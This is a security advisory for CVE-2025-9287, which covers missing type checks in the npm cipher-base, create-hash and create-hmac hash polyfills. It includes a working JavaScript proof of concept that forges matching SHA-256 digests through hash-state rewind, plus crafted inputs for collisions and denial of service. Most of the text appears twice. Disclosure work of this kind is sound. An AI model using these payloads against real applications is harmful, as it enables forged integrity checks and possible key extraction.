Headline
GHSA-cpq7-6gpm-g9rc: cipher-base is missing type checks, leading to hash rewind and passing on crafted data
Summary
This affects e.g. create-hash
(and crypto-browserify
), so I’ll describe the issue against that package
Also affects create-hmac
and other packages
Node.js createHash
works only on strings or instances of Buffer, TypedArray, or DataView.
Missing input type checks in npm create-hash
polyfill of Node.js createHash
lead to it calculating invalid values, hanging, rewinding the hash state (including turning a tagged hash into an untagged hash) on malicious JSON-stringifyable input
Details
See PoC
PoC
const createHash = require('create-hash/browser.js')
const { randomBytes } = require('crypto')
const sha256 = (...messages) => {
const hash = createHash('sha256')
messages.forEach((m) => hash.update(m))
return hash.digest('hex')
}
const validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever
const payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe')
const receivedMessage = JSON.parse(payload) // e.g. over network, whatever
console.log(sha256(...validMessage))
console.log(sha256(...receivedMessage))
console.log(receivedMessage[0])
Output:
9ef59a6a745990b09bbf1d99abe43a4308b48ce365935e29eb4c9000984ee9a9
9ef59a6a745990b09bbf1d99abe43a4308b48ce365935e29eb4c9000984ee9a9
Hashed input means safe
This works with:
const forgeHash = (valid, wanted) => JSON.stringify([wanted, { length: -wanted.length }, { ...valid, length: valid.length }])
But there are other types of input which lead to unchecked results
Impact
- Hash state rewind on
{length: -x}
. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash. - Value miscalculation, e.g. a collision is generated by
{ length: buf.length, ...buf, 0: buf[0] + 256 }
This will result in the same hash as ofbuf
, but can be treated by other code differently (e.g. bn.js) - DoS on
{length:'1e99'}
- On a subsequent system, (2) can turn into matching hashes but different numeric representations, leading to issues up to private key extraction from cryptography libraries (as nonce is often generated through a hash, and matching nonces for different values often immediately leads to private key restoration, like GHSA-vjh7-7g9h-fjfh)
- Also, other typed arrays results are invalid, e.g. returned hash of
new Uint16Array(5)
is the same asnew Uint8Array(5)
, notnew Uint16Array(10)
as it should have been (and is in Node.jscrypto
) – same for arrays with values non-zero, their hashes are just truncated to%256
instead of converted to correct bytelength
Summary
This affects e.g. create-hash (and crypto-browserify), so I’ll describe the issue against that package
Also affects create-hmac and other packages
Node.js createHash works only on strings or instances of Buffer, TypedArray, or DataView.
Missing input type checks in npm create-hash polyfill of Node.js createHash lead to it calculating invalid values, hanging, rewinding the hash state (including turning a tagged hash into an untagged hash) on malicious JSON-stringifyable input
Details
See PoC
PoC
const createHash = require(‘create-hash/browser.js’) const { randomBytes } = require(‘crypto’)
const sha256 = (…messages) => { const hash = createHash(‘sha256’) messages.forEach((m) => hash.update(m)) return hash.digest(‘hex’) }
const validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever
const payload = forgeHash(Buffer.concat(validMessage), ‘Hashed input means safe’) const receivedMessage = JSON.parse(payload) // e.g. over network, whatever
console.log(sha256(…validMessage)) console.log(sha256(…receivedMessage)) console.log(receivedMessage[0])
Output:
9ef59a6a745990b09bbf1d99abe43a4308b48ce365935e29eb4c9000984ee9a9
9ef59a6a745990b09bbf1d99abe43a4308b48ce365935e29eb4c9000984ee9a9
Hashed input means safe
This works with:
const forgeHash = (valid, wanted) => JSON.stringify([wanted, { length: -wanted.length }, { …valid, length: valid.length }])
But there are other types of input which lead to unchecked results
Impact
- Hash state rewind on {length: -x}. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash.
- Value miscalculation, e.g. a collision is generated by { length: buf.length, …buf, 0: buf[0] + 256 }
This will result in the same hash as of buf, but can be treated by other code differently (e.g. bn.js) - DoS on {length:’1e99’}
- On a subsequent system, (2) can turn into matching hashes but different numeric representations, leading to issues up to private key extraction from cryptography libraries (as nonce is often generated through a hash, and matching nonces for different values often immediately leads to private key restoration, like GHSA-vjh7-7g9h-fjfh)
- Also, other typed arrays results are invalid, e.g. returned hash of new Uint16Array(5) is the same as new Uint8Array(5), not new Uint16Array(10) as it should have been (and is in Node.js crypto) – same for arrays with values non-zero, their hashes are just truncated to %256 instead of converted to correct bytelength
References
- GHSA-cpq7-6gpm-g9rc
- https://nvd.nist.gov/vuln/detail/CVE-2025-9287
- browserify/cipher-base#23
- browserify/cipher-base@8fd1364